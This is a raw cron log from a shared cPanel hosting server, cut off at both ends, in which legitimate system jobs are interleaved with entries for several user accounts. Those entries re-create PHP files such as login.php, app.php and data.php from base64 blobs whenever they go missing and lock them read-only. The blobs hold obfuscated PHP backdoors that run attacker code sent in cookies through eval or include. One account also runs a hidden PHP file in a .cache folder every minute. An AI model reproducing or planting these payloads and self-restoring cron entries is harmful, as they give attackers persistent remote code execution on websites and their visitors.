ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:57:02 medusa CROND[29812]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:57:02 medusa CROND[29817]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:58:01 medusa CROND[21613]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:58:01 medusa CROND[21666]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 05:58:01 medusa CROND[21667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:58:01 medusa CROND[21668]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:58:01 medusa CROND[21669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:58:01 medusa CROND[21670]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:58:01 medusa CROND[21672]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:58:01 medusa CROND[21675]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:58:01 medusa CROND[21678]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:58:01 medusa CROND[21679]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:58:01 medusa CROND[21685]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:58:01 medusa CROND[21686]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:58:01 medusa CROND[21687]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:58:02 medusa CROND[21688]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:59:01 medusa CROND[13187]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:59:01 medusa CROND[13221]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:59:01 medusa CROND[13224]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:59:01 medusa CROND[13225]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:59:01 medusa CROND[13227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:59:01 medusa CROND[13228]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:59:01 medusa CROND[13226]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:59:01 medusa CROND[13230]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:59:01 medusa CROND[13231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:59:01 medusa CROND[13232]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:59:01 medusa CROND[13234]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:59:01 medusa CROND[13238]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4614]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 06:00:01 medusa CROND[4626]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:00:01 medusa CROND[4682]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:00:01 medusa CROND[4732]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4802]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:00:01 medusa CROND[4804]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgI